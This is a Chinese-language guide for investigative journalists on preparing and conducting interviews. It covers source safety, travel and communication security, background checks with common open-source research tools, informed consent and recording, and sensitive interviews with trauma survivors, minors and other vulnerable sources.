在第一种情况下，如果他们说“不”，请表示您尊重他们的决定。然后您可以尝试与他们信任的人交谈，他们可以在以后充当中间人。

如果他们仍然决定不谈，让他们知道，如果他们以后觉得可以的话，欢迎随时来找你。如果你认为这样做是安全的，请把你的联系方式告诉他们。

不要带着一种权力感去谈话，期望当地的每个人都能按照你的目标和时间表工作，那不现实。有些人如果觉得安全或者别人先和您交谈过，可能会重新考虑和您交谈，所以，第一印象很重要。要有耐心，但也要做好准备，如果线索和采访都不可行，那就要放手，另寻其他途径。

📌 在采访过程中，您可能急于证明或反驳一个特定的想法。这会让您的采访对象对您有一定程度的权力，不管他们是否意识到这一点。注意做出妥协的风险，不要让采访对象控制你的问题。

当您与此人面对面时，您可能会将其视为推进您的研究的机会，但要考虑到这次访谈现在看来可能比以后更重要。您永远无法预测哪些证据最终会推进您的调查。

您也可能会发现自己的谈话对象是身居高位、享有某种特权的人（无论是财富、影响力、阶级等），或者您可能会采访一些您怀疑是您正在调查的不法行为的实施者，或者是促成贿赂、逃税、贩卖等非法活动的人。

📌 这些受访者可能会试图操纵你，让你站在他们一边，向你提供好处收买你，或者利用他们的特权地位威胁你，以阻止你的调查。

不要因为他们同意与你谈话就觉得有义务接受他们的好处，确保你事先考虑到所有可能的危险情况，以防止将自己和其他消息来源置于危险之中。

如果您因为难以接触到这样的人 —— 例如公司高管或高级公职人员 —— 而在与他们联系或约见时遇到困难，可以尝试与低层或中层的人交谈。您也可以向熟悉他们的人，如调查员同事或有经验的记者，请教如何处理某些消息来源。

安全沟通

「图」

当您第一次接触潜在的采访对象时，您可能会认为通过固定电话或手机等传统方式进行采访是可以的。但只要有可能，请尽量使用加密服务。

介绍您自己和您的目的

「图」

介绍你自己、你的意图和你调查的目的是与你的消息来源和受访者建立信任的第一步。故意欺骗他们是不道德的，如果你这样做，一些受访者和消息来源可能会感到被背叛。

缺乏透明度会导致误解，可能导致消息来源对你不满，甚至让他们处于危险之中。

一开始就花一些时间解释你的工作。如果你有一个公共项目，一个网站，或者有其他可以分享的工作，向你的消息来源或受访者展示这些，以建立你的真实性。

避免使用可能听起来过于沉重的术语，比如“调查员”。你可以用“研究者”来代替，但同样，千万不要隐瞒你的工作目的。

根据您正在调查的问题或人物，您可能并不总是想分享每一个细节，如果这可能会对您和/或您的消息来源的安全构成风险。如果您觉得有必要，请将您分享的细节保持在最基本的范围内，但要对他们诚实，就像您希望他们对您诚实一样。

安排采访和后勤

「图」

1、设定时间和地点

「图」

在可能的情况下，在您计划的最后期限之前提前联系他们。一定要提出一个适合对方的会面日期，以避免给他们施加压力，并避免错过潜在的有价值的谈话。

安排好会面时间，使每一次会面都建立在前一次会面的基础上。尽可能在两次面谈之间给自己一些时间来回顾您的发现和重新评估。

有时候，在哪里见面和谈话本身一样重要。公共场所不一定是最好的选择。📌 请记住，见面地点可以为您提供与采访本身一样多的关于该人或调查的信息。

对于受访者来说，访谈可能会激发他们的回忆，或鼓励他们更公开地说话。

访谈地点可能是您正在调查的事件发生的地方，也可能是一个画廊，里面有自然灾害或冲突前某地的照片，或者是一个展览或家庭，展示着失踪、入狱或遭受酷刑的人的照片。

如果与您的采访对象或消息来源有关，这些细节可能会唤起人们对过去事件的回忆或文本证据，并帮助开始关于他们曾经有过的某些话题或经历的对话。但是，要小心行事，因为这也会产生相反的效果，使人们再次受到创伤。

通过使用周围显示的元素，您可以找到谈话切入点，开始建立信任。

📌 例如，可以先引发闲聊，让消息来源感到舒服，或者让你们找到共同点。这将鼓励你的采访对象信任你。律师办公室或非政府组织的总部也可以是进行采访的安全和友好的环境。

2、旅行安全与保障

「图」

如果您正在旅行，您应该对您要访问的国家或地区进行风险评估，衡量与这个地点相关的威胁。

📌 首先，看看您是否能从与您身份相同的朋友和同事那里收集信息。风险和身份是密切相关的。这意味着你的风险会受到你的种族或民族、性别、性取向、国籍国、和政治立场的影响（例如美国边境对社交媒体账户的搜查）。

通常情况下，您的护照可能带有特权和保护，但是其他时候可能恰恰相反。与安全方面的所有事一样，最好能找到与你有相同身份标记的人，并曾到过同一地区旅行，询问他们的经验。

下一步是查看大使馆发布的不同地区的旅行指南。例如，美国、英国、加拿大和澳大利亚的大使馆都会在网上提供详尽的指南。

请注意，旅行建议通常是非常保守的，对任何风险都很敏感。一些大

使馆已经开始在 Twitter 上发布更多最新的信息，所以也值得查看。

风险缓解和安全公司也按地区和国家发布风险信息。请注意，这些公司的研究和评级背后可能有财务或政治动机，所以一定要核实。例如 Riskmap、Kroll Intelligence Center 和 Kroll Global Fraud and Risk、International SOS Travel Risk map，但并非所有这些都经常更新。

此外，联合国按国家分列的犯罪统计数字可能有用，尽管并非所有类型的犯罪都会被报告或研究（由于各种治安、政治、文化原因），但它仍然是一个很好的指标。

尽量提前联系在实地时可以帮助你的人。

📌 如果您认为自己可能面临监视、拘留或绑架等个人风险，请将您的行程告知您信任的人，并填写一份根据您的需要设计的生活证明文件。该文件应包括个人详细资料和只有您自己知道的问题的答案，以及您万一发生意外时的行动程序。

📌 它应该包括对您所信任的人的指示，您要把表格交给他（她）。这里面可能包括密码，允许受信任的人访问你的社交媒体账户，如果他们需要改变或停用的话。

关于表格样本和更多的使用方法，推荐 Rory Peck Trust 为自由职业者提供的资源。

准备采访

「图」

一旦您决定了要采访的对象，就需要为采访本身做准备。了解这个人 —— 无论是直接了解还是从背景调查中了解 —— 并对您要收集的信息有一个清晰的认识是至关重要的。

理想的情况是，您已经熟悉了被采访者的个人或公开的细节，并能够专注于他们回答的真实性和可能的偏见。

1、做背景调查

「图」

在会面之前，对您的采访对象进行背景调查，尽可能多地了解他们的情况。利用在线资源或联系可以提供你的采访对象详细信息的可信人士。了解你的采访对象和他们的专业领域（如果有的话），也是尊重他们的时间、不要求提供太基本或已经存在的信息的一种方式。

📌 这些背景调查也可以帮助您确定采访对象的可靠性或他们潜在的偏见。

如果您断定某人不值得信任，这并不一定意味着您不应该采访他。知道他们提供的信息值得怀疑或可能有偏见，将有助于你提出有针对性的问题，并警惕可能的操纵。

📌 有人试图驱使你得出某个结论或隐藏你已经知道的信息，这本身就是一个很好的证据。

在对敏感话题和您有兴趣采访的危险人物或团体进行研究时，要考虑分享某些信息的安全程度。在这些情况下，当您试图获得采访机会时，最好不要向你的亲密圈子之外的人提出太多问题。

被问太多的人可能会过早地传播你调查的消息，暴露你所追求的问题，或者使你想采访的人更加脆弱。

🛡 注 —— 关于背景调查

「图」

访谈对象可能会觉得背景调查的想法很吓人，在某些情况下，它可能会造成冲突或紧张，特别是如果他们从第三方了解到你试图核实他们的情况。

避免这种状况的一个最简单的方法是进行自愿的背景调查，只要这样做是可能的，并且不会使您、被调查者或调查处于更高的风险之中。

通常情况下，这是从一个以简单问题为重点的初步访谈开始的。虽然每个人都不一样，但大多数人都会喜欢得到一个可以说话的平台。

📌 让被调查对象成为核查过程的一部分的一个好处是，你可以要求他们明确允许澄清你对情况的理解，并联系他们的一些网络，以帮助你更好地把握主题。

当以这种方式呈现时，背景调查是透明的，是双方同意的，所以你是避免任何不必要的升级，同时尊重面试对象的隐私和安全。

在进行在线调查时，使用VPN和/或私密浏览器很重要。这将降低暴露您和您的调查与在线研究活动有关的机会，基本上使您对您所研究的人保持匿名。

这种研究的目的始终是以安全和降低风险的名义进行的。在大多数情况下，通过背景调查收集的信息不应该成为调查本身的一部分，因为你的目的是保护，而不是监视你的消息来源。

📌 暴露可能不被记录或匿名的消息来源的细节，会给采访和你与消息来源的关系带来很大的风险。这不仅是不道德的，而且在某些地区还可能是刑事犯罪。

提示

「图」

1、电话号码的背景调查

「图」

如果需要，可以通过以下三种方法来验证来源的电话号码：

- 拨打电话
- 对号码执行反向查找
- 对号码执行运营商查询

A：拨打目标号码时，不要用与您的真实身份相关的电话拨打。使用公共电话/预付费电话、酒店电话或虚拟号码，可以保护您的身份。

- 《4款最佳一次性手机号码应用：适用 Android & iPhone》

另一个选择是使用虚拟号码。这些号码并不连接到手机或物理固定线路，而是由软件提供。更详细介绍见：《到底也没有无法被监听的电话？：变得难以被追踪的简单方法（8）》。

B：电话号码反向查询工具将把一个号码变成该号码相关的数据。这些大多是商业服务。比如 Comfi, Whitepages, Spokeo (仅限美国), Pipl.。建议在使用在线反向查找工具进行搜索之前采取可靠的VPN和私密浏览器。

在网站搜索“电话号码”，以找到更详细内容。

C：一些常用工具如下：

- Twilio：最简单的运营商和来电查询方式。来电查询将为您提供与该号码相关的名称，或谁为该号码支付账单。它还会让你知道这是一个商业号码还是住宅号码。运营商查询将让你知道哪个移动供应商与该号码相连，也知道这是一个固定电话、移动电话、还是虚拟VoIP号码。
- Truecaller：一个用于列出和查找电话号码信息以及谁与该号码相关联的应用程序。用户可以将其用作来电显示，以阻止恶意电话和识别来电者。由于该应用程序可以从安装了它的手机中提取联系人，因此它通常有未列出或独特号码的详细信息。
- Numerify：提供查找全球电话号码的服务。

2、对公司，公共机构和非营利组织的背景调查

「图」

如果您要采访的人与企业、非营利组织或政府机构有关联，您可以查看现有的数据库和工具，了解有用的联系人、细节和联系。

如果您不知道从哪里开始，建议按地区/国家挖掘 Investigative Dashboard 的全球资源索引，或探索其不断增长的全球数据库，从过去的调查中获得的文件。调查仪表盘是由有组织犯罪和腐败报告项目的调查记者网络开发和管理的资源。

对于美国，您可以搜索其中一些数据库，以查找有关与公司、非营利组织或政府相关联的人员的信息：

- Little Sis, 免费的美国联系人数据库
- Propublica nonprofit explorer(US)
- Charity Navigator
- US Business Entity search
- US Securities and Exchange commission

3、在线用户名，用户搜索和社交媒体

「图」

也就是最基本的社交媒体情报侦查。以下是一些工具和数据库，用于

验证某人的在线状态：

输入用户名以查找此人在线注册过哪些平台：

- NameChk
- Instant Username
- Spokeo
- Pipl

社交媒体：

- Facebook
- Linkedin
- Contact Out– 从LinkedIn获取联系数据
- Transparency Toolkit

继续查找：

- Monster
- ZipRecruiter
- Career Builder

社交媒体API查找：

- Facebook api (US)
- VKontakte api (Russia)
- Yandex api (Russia)
- Weibo api (China)
- Weibo api (China)

📌 一些最强大的开源情报工具：

- Maltego CE: 具体介绍见 《社交工程工具用于开源情报调查：0基础初学者指南》
- Spiderfoot: 具体介绍见 《如何自动执行情报搜集？蜘蛛脚入门指南》
- Spiderfoot HX: 蜘蛛脚 web 版
- Harvester: 获取有关在电子邮件地址，名称，子域，IP和URL背后的信息。更多见《在电子邮件地址，名称，子域，IP和URL后面获取信息》

确定目标

「图」

对您的调查来说可能有价值的目标包括：

A：了解故事的人性一面 —— 与调查相关人员的对话是一个很好的机会，可以让您的故事有声有色。

如果以平衡、道德和公正的方式进行这些对话，它们可以增加您的调查结果和主张的可信度，并帮助其他人认同你正在研究的问题和议题。

B：收集证据 —— 您与某些消息来源的访谈可能是收集支持您其他调查的证词的关键。

例如，在西奈半岛(埃及)的某些地区会见谴责国家安全部队实施的法外处决的人，可能会提供证据证明那些被指控为恐怖主义分子的人实际上是无辜者，或关于某个事件的证据，你可以与其他收集到的证据和证词进行核对。

军事专家可能会给你提供关于这些势力如何行动、通常的目标和使用的武器类型的线索。

根据采访对象的不同，你要提出不同的问题。

C：构建一个档案 —— 您可能会寻求获得一个主要来源的证词，以便能够谴责某些罪行。如果您的调查打算最终在海牙国际刑事法院正式起诉某国政府，您就将需要用所有不同方面的证词来支持任何证据。

一个案例见《走进暗杀之城》。

写下问题清单，整理一下

「图」

写下一份问题清单，尽管在访谈过程中您不一定要严格按照它来。您需要根据与受访者的互动情况，随时调整谈话的方向或改变某些问题的方式。

准备好问题将有助于你集中精力回答最重要的话题。写下问题会帮助你弄清楚你想从访谈中应该可以获得什么。如果面对困难的对话，情

绪占据了上风，这些问题将有助于转移您的注意力，从您的感觉中转移到工作上来。

问题类型

「图」

访谈应该从不同的角度接近主题，交替使用不同类型的问题，让谈话一点一点地推进发展。从简单的问题开始，随着谈话的推进，进入更敏感的话题。

在进入话题之前，先闲聊一下可能也会很有帮助。

A：封闭式问题与开放式问题 —— 封闭式问题提供给对方一个简短的回答，如 “是” 或 “不是”，除非你想确认之前收集的证据，否则最好避免使用。开放式问题可以让被试对某些主题进行复杂的概述。

B：事实性问题与开放式问题 —— 事实性问题旨在确定事实：姓名、职业和年龄。开放式问题允许更多的阐述和更详细的回答。

C：后续问题 —— 您可能想问一些从受访者的回答中延伸出来的问题，可能是因为他们还没有完全回答，或者是因为他们提出了一个您想了解更多的话题。如果是这种情况，不要在受访者还在说话时打断他们。等到他们回答完后再提出后续问题。

D：挑衅性问题 —— 意在激起被访者的反应或迫使其回答。您必须考虑何时适合这样做。

🔪 注意：避免诱导性问题

「图」

诱导性的问题将回答者引入某个固定的答案，您需要避免这样的问题。即使您有一套明确的事实，采访某人也是为了获得更多的信息或澄清，而不是促使其做出具体的回答。

例如，你不应该问 “政府的补偿好吗？”，而是要问：”政府提供的补偿怎么样？”

为困难的受访者做准备

「图」

有时，特别是在讨论一个困难或痛苦的话题时，或者在采访对立的人时，你可能会意识到他们正试图避免给出一个明确的答案；用另一个问题来回答，或试图吸引人们注意到情况的积极方面，都是回避你的问题的方法。

在你认为可能会引起一些关注或可能会遭到拒绝的问题上做标记。准备一套可供选择的问题，以帮助您获得答复。例如，官员政客往往非常善于回避困难的问题，因为这可能会使他们看起来很糟糕。如果你注意到这种情况的发生，可以尝试用不同的方式问同一个问题。

有效利用时间

「图」

有时你的时间会很有限，尤其是与官员打交道时。尽量把时间留给真正重要的问题。

尊重采访对象的时间，如果他们需要的话，可以提供休息时间。花更多的时间采访某人，并不一定意味着您会得到更多的信息；如果您意识到你没有达到预期，请考虑你的问题是否正确，或者采访对象是否不能涵盖您预期的话题，并尝试专注于重要的话题。

尽量不要超过一个小时，除非真的有必要，而且你觉得采访对象可以接受。

注意语言

「图」

语言关系到性别、种族等各方面的敏感话题。您在访谈时要注意语言的使用，既要保证准确性，又要出于尊重。

把您自己的感觉和偏见放在一边，特别是当你必须面对一个你可能不同意的敌对来源时。如果您必须采访易受伤害的消息来源，请做好准备；面对悲伤、愤怒、沮丧和难以处理的故事，做好准备将有助于你做出适当的反应。

采访过程中

「图」

让我们看一下如何进行一般性采访，从受访者那里收集背景信息、与证人交谈、以及如何进行更敏感的对话的具体方法。

1、采访渠道

「图」

A：面对面

这通常是首选。它将帮助您与采访对象建立联系，而且也更容易保持你们互动的保密性。肢体语言是你不应该低估的一个要素。如果你问了一个困难的问题，采访对象的反应可能比答案本身能给你更多的信息。

B：电话

如果您可能需要远程采访消息来源，建议您使用加密通信，以及允许您记录对话的工具，如果您得到对方的许可。使用视频是首选。

C：电子邮件

这是最不可取的选择，因为这会降低你问后续问题和进行适当对话的能力。最重要的是，你无法确定你想采访的人就是那个回答问题的人。这个渠道应该是最后的选择。

2、关键条款

「图」

并不是每个人都了解采访术语，而且这些术语可能在不同的环境和文化中适用于不同的情况。您最好避开术语，只需向您的采访对象解释信息将如何使用。

这个过程应该是一个双向的对话 —— 预计信息源有时会推辞，直到你们达成一个双方都能接受的协议。

3、获得同意和许可

「图」

即使某人同意与您交谈，您也必须解释相关条款，说明他们提供的信息将如何使用，或者是否会提及他们的名字以及如何提及。

有时，您需要得到签名许可才能使用他们的形象和/或文字。如果您没有正式的许可材料，一张简单的签名纸和一份书面协议就可以了。

在采访未成年人时，这一点尤其重要。在这种情况下，应该由成年监护人代表他们给予同意。

4、设定边界

「图」

确保采访对象明白您是因为工作而与他们取得联系的 —— 即使你已经认识他们 —— 而且这种关系是专业的。这将有助于降低您的人脉资源对您的期望值。

5、记录采访过程

「图」

为了促进调查，从人类来源收集的证词和证据最好以某种形式记录下来。从道德和法律上讲，您只有在他们同意后才能这样做。

A：录音

这是最简单也是最常见的记录谈话中获得的信息的方法。尽量在同一时间做笔记。这样可以帮助您事后在录音中找到正确的信息，或者在您还没来得及备份信息的时候，万一录音设备出了问题，也可以作为备份。

B：视讯通话/电话录音

理想情况下，您应该尽量亲自去见对方，以确保他们是他们所说的人。如果你需要远程交谈，请使用一个允许您看到他们的脸的渠道，比如 Jitsi，Wire等，并确保您有一个至少记录音频的方法，只要从受访者那里得到这个许可。

要知道，有些设备和应用程序会向您的采访对象显示您正在使用允许录音的工具，所以不要试图欺骗他们。例如，在Skype上，只要你开始录音，通话中的每个人都会被告知通话正在录音。

一些渠道(包括 Skype)或固定电话对于某些敏感的采访会不安全，所以要记住这一点。

建议您在开始采访之前，先征得他们的书面许可，或者让他们说清楚，并将他们的许可也记录下来。

C：拍照和视频记录

如果您正在拍摄照片或视频，不要沉迷于设置小工具和获得完美的角度或照明。如果您要求人们改变位置或移动到不同的背景，问他们是否同意这样做，而不是指示他们这样做。

例如，如果一位老人或病人在寒冷的日子在自己的房子里，里面很黑，就不要因为你想要更好的光线而要求他们走出来。如果您是带着摄影师或摄像师来的，要把这些可能的考虑因素告诉他们，或者让他们把他们的要求告诉你，这种交流也是一种很好的拉近距离的方式。

使用录音的伦理

「图」

在发表您的报道时，要非常谨慎地选择您所使用的图像。例如，如果您写的是性暴力主题，就应避免使用使当事人显得无力或软弱的图片。同样的道理也适用于未成年人：您应该始终谨慎对待自己所拍摄的图片的种类和适用的法律。未成年人的权利和保护永远是重中之重。

法律问题

「图」

录音和拍照/录像要获得书面许可。如果您没有得到同意，其中一些证据将在法律上不被接受 —— 特别是，如果这些信息最终可能在法庭上被使用或被其他人（记者、律师、竞选者、非政府组织等）用作证据。如有疑问，请寻求法律建议。

需要一些特殊途径的采访

「图」

每项调查都需要不同的人脉资源。如前所述，您需要改变自己所进行

的访谈类型，以获得更广泛的视角。这可能意味着要采访不同地点的人，但也要采访一些可能需要特别关注的人，因为他们很脆弱，或者因为调查的目的可能是要建立一个法律案件。

以下是一些关于采访中可能遇到特殊情况的示例。

1、国外和其他陌生地方的采访

「图」

如果您计划在另一个国家与一个采访对象见面，请考虑文化或宗教的特殊性，确保您在那里有可靠的联系人或关系网络，并尝试了解当地语言的基本知识。这可能会使您获得的结果有很大的不同。

A：在没有经验的地方会面

「图」

在旅行中会见采访对象或在会面前参观现场时，您需要对文化、语言、政治和经济等方面的差异保持敏感。

尽量弥补现有的差距。与在该地区工作的活动家或组织联系会有帮助。

如果您正在调查的主题或事件仍在进行中，您的出现可能会引起怀疑，特别是当您在一个您的脸或服装会在人群中引人注目的地方。

通过尽可能多地了解安全部队和当地社区的行为方式以及适用的规则（或不适用的规则）来减少风险。

带着专业相机进入一些地区可能会引起问题。在旅行之前，请先进行调查，以免在海关丢失设备。出境和入境同样重要。请记住上述安全建议，以保护您的所有设备和信息。

B：到处走

「图」

例如，在小城镇或村庄，最好使用现有的本地和公共交通，但有些地方出于安全考虑，你应该避免使用这些交通工具。

📌 有时，最好的办法是自己开车，或者由您信任的、在该地工作或生活的人开车接送。当地司机也更擅长用当地语言导航或问路。

如果您乘坐私家车或工作用车，应尽量不显眼。考虑将车停在较大的公共区域或商业区，保持一定距离。如果你有足够的信心乘坐出租车，可以随时要求司机在离您会面的地点有一定距离的地方把你放下。

考虑一下哪种方式更安全：坐在司机后面，还是副驾驶座上。考虑到其他人的出行方式、您对司机的了解程度，以及您是否更有可能被拦下。

📌 通常某品牌、型号、价格、车龄和/或某颜色的车辆更容易成为目标或被拦截。这可能是由执法部门、安全部队、帮派或小偷造成的。与当地人交谈可以帮助您了解更多信息。

C：通讯

「图」

获取当地电话号码是方便与当地人沟通的好方法。当地电话卡通常在机场和主要车站周围或商业区都可以买到。买一张带有互联网套餐的电话卡是很有用的，这样您就可以继续使用加密通信，并可以访问数字地图。

🛡 安全第一！ —— 关于SIM卡

「图」

在一些国家，您需要出示身份证（或复印件或照片）才能获得SIM卡。用您的借记卡或信用卡购买SIM卡会暴露更多的个人信息。

您不仅有可能泄露个人数据（姓名、出生日期等），还将自己与这张SIM卡联系在一起。

所有的SIM卡都有一个独特的号码或 ICCID（集成电路卡ID）和相关的IMSI（国际移动用户身份），现在也链接到你。ICCID包含19–20个数字，是一个序列号，由制造、国家代码、发行人标识和SIM卡号的代码组成的。IMSI号码由移动设备国家代码(MCC)、显示你的供应商的移动网络代码(MNC)、和移动用户识别码(MSIN)组成。当你的手机有服务时，这些信息会在整个蜂窝网络中广播，它将您的身份直接

连接到SIM卡上。

为了避免这种情况，VoIP（IP语音）号码是很有用的，以帮助有一个本地号码，不容易与您的身份密切相关。

建议您了解手机、Wifi和蓝牙跟踪如何将您和您的设备连接到一个位置。重要的是要评估您是否应该（或不应该）带手机去会面重要的人。

- 在这里看到具体介绍《单向镜的背后：监视资本家和政府的联手一直在如何折腾你？》
- 这里《你的手机就是秘密监视设备—Snowden访谈视频》
- 以及这里《到底也没有无法被监听的电话？：变得难以被追踪的简单方法（8）》

如果您觉得带手机更安全，可以尝试让它保持离线/关闭。理想情况下，您应该把您的设备放在一个法拉第袋里，或任何其他手机服务屏蔽机制。

如果你需要一种快速屏蔽手机信号的方法，用几层（至少两层）铝箔纸把手机包起来，就像做烤肉用的铝箔纸。

📌 重要的是，在依赖这种方法之前，要先把在线并开机的手机放在法拉第袋或铝箔纸包裹中测试一下，然后试着打电话。手机不应该响。

D：住宿

「图」

酒店通常是首选，而不是住在当地的主人家里。根据您所做的工作，您可能会让他们处于危险之中，或者根据他们的隶属关系，可能会显得你对某个党派或团体有偏好，这会形成某种标签。

此外，如果主人受到监视，这可能会影响您的调查。然而，也有例外情况，有时您和当地的主人住在一起会比住酒店更安全。在下定决心之前，请运用您的常识和评估利弊。

- 《如何找到旅店房间里隐藏的摄像头？》

📌 考虑到在某些地方，根据您所调查的内容或您要会见的人，在特定的街区选择住宿也可能意味着偏倚某一方。这些立场可能会影响您

的风险（如果其中一个团体受到迫害或攻击，你可能会被暴露），但也可能意味着站在对立派别的一方，其他人可能会因此拒绝与你交谈。

例如，在像加沙这样的地方，即使局势相对稳定，你也需要知道所处的街区大多数人是哈马斯的支持者、法塔赫的支持者、中立者还是国际人士。只要有可能，您就应该确保自己身处一个有其他外国人或国际组织的地方。

避免随便告诉别人您住在哪里。如果您必须长时间呆在一个地方进行调查，不妨换几次住处，以免别人起疑。检查是否有其他方式离开酒店，不要按部就班。

如果有电力或网络限制，在订房前要考虑清楚。

2、采访脆弱消息来源

「图」

您正在采访的一些人可能特别脆弱。也许他们对自己的故事、姓名或形象被公布在网上对他们来说意味着什么没有很好的理解，也许他们对您所做的工作没有很好的理解，或者他们对您是否能帮助他们以及如何帮助他们有不切实际的期望。

也许在与您交谈时，他们正在冒着人身安全的危险。或者他们受到了创伤，您必须以非常谨慎的态度进行面谈。

在这种情况下，重要的是要确定您的消息来源真的是同意的（并尽可能让他们以书面形式确认）。您 —— 而不是受访者 —— 有责任确保他们确切地了解您使用他们将提供的证据或证词对他们来说意味着什么，将如何使用，如何识别他们的身份（如果有的话），以及风险是什么。

在公开您的消息来源的证据和证词之前，一定要考虑清楚对他们可能产生的影响，并共同决定是否值得承担这些风险。

尽量通过当事人已经熟悉的组织、家庭成员或他们熟悉的朋友/知己，与易受伤害的消息来源建立联系。这样的人可以将您的资历告知幸存者，并在必要时参与会面。

1、创伤幸存者

「图」

采访一个人最重要的方面之一是让他们觉得你听到了他们的声音。

如果您面对的是背负着心理创伤的幸存者，这一点尤其重要。如果你采访的人已经向其他人（如人权工作者或组织）解释了他们自己的故事，您可能想确认一些事情，并试图收集更多的信息，但您应该避免不必要地强迫某人回忆痛苦的事件。

📌 把重点放在他们经历的事实上，而不是陷入个人的情绪中。

例如，如果此人在空袭中失去了家人，您可能想了解更多的背景情况，他们居住的地区，该地区是否有警察局或某个派别的成员，而不是着眼于创伤和损失。

您首先是一个人，其次才是一个调查员，您应该始终表现出对受访者应有的尊重和敏感。不要急于求成：可能需要多次访谈才能让脆弱的消息来源舒服地分享细节。

当他们开始讲述自己的故事时，尽量多听而不是多说。问一些开放式的问题，如果您想问一些后续问题以了解更多的细节，应该让对方先完成他们的想法，然后再说话。尽量避免打乱故事的流程。

要有耐心，在对方说话的时候，尽量找出创伤的影响。例如，在处理缺乏线性记忆的问题时，用“还发生了什么？”来提问，而不是“接下来发生了什么？”这样的追问可能会帮助他们讲述故事，而不会觉得自己没有跟上。这是确定发生了什么，准确收集证据和数据的有用方法。

如果人们在记忆中出现空白，或者他们在下一次会面上改变了故事的细节，或者似乎不记得以前说过的话，不要感到沮丧。他们受到了创伤，这些变化不一定意味着虚假，而是恐惧。

您需要做的就是，让他们感到安全。如果您有类似的故事经验，您可能想分享这些故事以表示同情，但是请尽量以一种不使他们感到您在破坏他们的经验的方式进行。

确保脆弱的人在采访过程中拥有一定的控制权。你采访他们的地方应该让他们感到安全。

📌 请注意，某人很脆弱的事实并不一定意味着他们的叙述就是值得信赖的。它可能是被某人胁迫的，或者包含非自愿的错误。

📌 您不应该简单地相信一个个人故事，而不先通过其他途径进行核实，但无论您内心是否感到怀疑，您都应该表现出理解和同情。

2、性暴力幸存者

「图」

在与性攻击受害者面谈时，无论性别如何，前面的所有提示和建议都是基本的，但在涉及性攻击的案件中，考虑到调查人员的性别可能是有益的，甚至是至关重要的。

通常情况下，遭受男性性暴力的女性更愿意接受女性的采访，而被性侵的男性也可能如此。如果您需要一个摄像师，也要记住这一点。尽您所能帮助促进互动，让受访者感到舒适。

在调查性暴力案件时，作为一般规则，永远不要说出受害者的名字，除非该人特别要求公开其身份，而且您认为他们完全了解与此有关的任何风险。

让受害者匿名可以保护他们免受社会的舆论压力。未满18岁的人没有能力同意被公开命名为性暴力的幸存者。确保当地法律允许您公开指认性暴力的幸存者，因为这在一些司法管辖区是被禁止的。

3、被胁迫的受害者

「图」

有些受害者可能不愿意在亲属面前说话，或者可能被建议不要与你分享某些细节。他们可能害怕自己的话在他们的亲近圈子或社区中的后果（例如，如果他们是性暴力的幸存者，会使他们的家庭蒙羞），或者被指示（强迫）以某种方式回应，或者被胁迫向你隐瞒信息。

通过问一些一般性的问题，比如“你是否更愿意我们私下交谈？”来弄清楚是否是这样。

4、人口贩运的受害者

「图」

人口贩运的受害者往往对披露可能使他们犯罪的细节持谨慎态度。如果他们在被贩运的过程中触犯了法律，曝光可能导致他们被监禁。

这些细节可能对调查很重要，因为它们可以帮助揭露他们的人贩子，并收集足够的证据来建立对他们的案件。然而，您应该对他们和他们传递的信息保持敏感，并确保您采访的人明白他们的安全将是您最关心的问题。

5、未成年人

「图」

与采访成年人相比，采访未成年人带来的法律风险更大。您必须注意不要做任何侵犯未成年人隐私权或情绪健康的事。理想的情况是，在采访过程中，未成年人应该由他们信任的负责任的成年人陪同。在某些情况下，例如当您的调查目的是为了收集可用于官方调查的证据时（如执法部门），可能必须获得同意和许可，才能进行面谈和拍摄任何照片或录音。

在询问儿童时，根据他们的年龄，您可以带纸和蜡笔、玩具或游戏。一边玩耍一边随意地提问，可能会帮助他们谈论某些话题。他们不是成年人，但他们可以自己思考。

不要对房间里的其他成年人谈论他们，好像他们不在场一样。孩子们可能会说他们认为你想听的话，而不是坦诚相待，所以确保你不会这样操纵他们。

建议问一些开放性的问题，比如“接下来发生了什么？”给他们提供阐述的空间。

避免问一些可能暗示着责备或错误的问题，比如“你为什么要离开其他人？”相反，你可以问“为什么当时只有你一个人？”

但要注意，如果问题过于事实化或封闭，可能会导致简短的回答，可能不会有太大帮助。其他诸如“再跟我说说……”或“然后发生了什么？”通常更有助于从孩子那里收集信息。

解决访谈的一个可能的方法是，可以从最初的情况描述开始。当这一情况被充分发掘后，您可以提出更有针对性的问题，以收集更多的细节、澄清或补充您觉得缺失的信息。

6、受威胁的社区：如 LGBTQI ＋

「图」

有些人或社区可能不仅因为他们要告诉你的事，而且因为他们自身的种族、宗教、种姓或性取向而受到伤害。在一些国家，LGBTQI＋的人可能会受到法律和社会的歧视。

在这些情况下，您应该加强所有安全措施。避免判断性的问题，并尊重他们的性别认同。

使用中性词汇会有帮助。提前对某些特定的术语进行研究，如二元、非二元、双性等。尽量在见到采访对象之前收集有关他们的信息，如果您对如何称呼他们有任何疑问，直接问“你是如何认同的？”是更好的选择。

如果您对问什么有疑问，可以问问自己，如果有人问您同样的问题，您会有什么感觉。

与对抗性受访者打交道

「图」

在互动过程中，有些受访者可能会或变得敌对或好斗。重要的是，在会面前尽可能多地进行研究，以便在发生对抗状况时您依旧可以自信地说话。如果谈话需要，不要害怕偏离你的问题清单。

如果您和这个人有相当长的时间相处，可以先问一些比较开放的问题，寻求了解他们的观点。有些调查人员假装自己知道的比对方知道的少，以便让消息来源解释更多。这往往会让受访者感到更加放松和被理解。

📌 即使您不尊重这个人，也要以同理心对待采访。随着您与消息来源相处时间的推移，您可以开始提出更尖锐、更强硬的问题。

如果您与被访者相处的时间比较有限，您可能要更早地开始提出对抗性的问题。请尽量以专业和中立的方式进行。不要做出没有事实支持的指责，避免情绪化或愤怒。

永远不要羞于提出棘手的问题，但通常在提出问题时最好保持中立的语气。有时，用不同的方式多次提出棘手的问题是很有用的，因为你的消息来源可能会说一些更有启示性的话，或者自相矛盾。

📌 即使是生气的人也能为你提供有价值的信息。即使你不同意或你的问题是批评性的，也要尊重并保持冷静和平衡。

如果消息来源能看到您是根据您发现的证据而不是意见或已有的议程行事，他们就更有可能尊重您并回答您的询问。如果消息来源觉得你已经下定决心，他们就没有动力告诉你真相或向你敞开心扉。

1、敌对消息来源

「图」

有时，受访者可能会变得充满敌意 —— 特别是当你们两个人意见不一致，或者他们在调查对象中扮演了负面角色。

这些人最好在您的调查结束时接受采访，这样你可以防止他们干扰你的工作。他们可能会发现你在做什么，并试图扰乱你的调查。他们可能会试图恐吓你的其他联系人撤回他们的讲述，关闭你用于研究的网站，通知当局，或对你或你的团队或雇主施加压力。

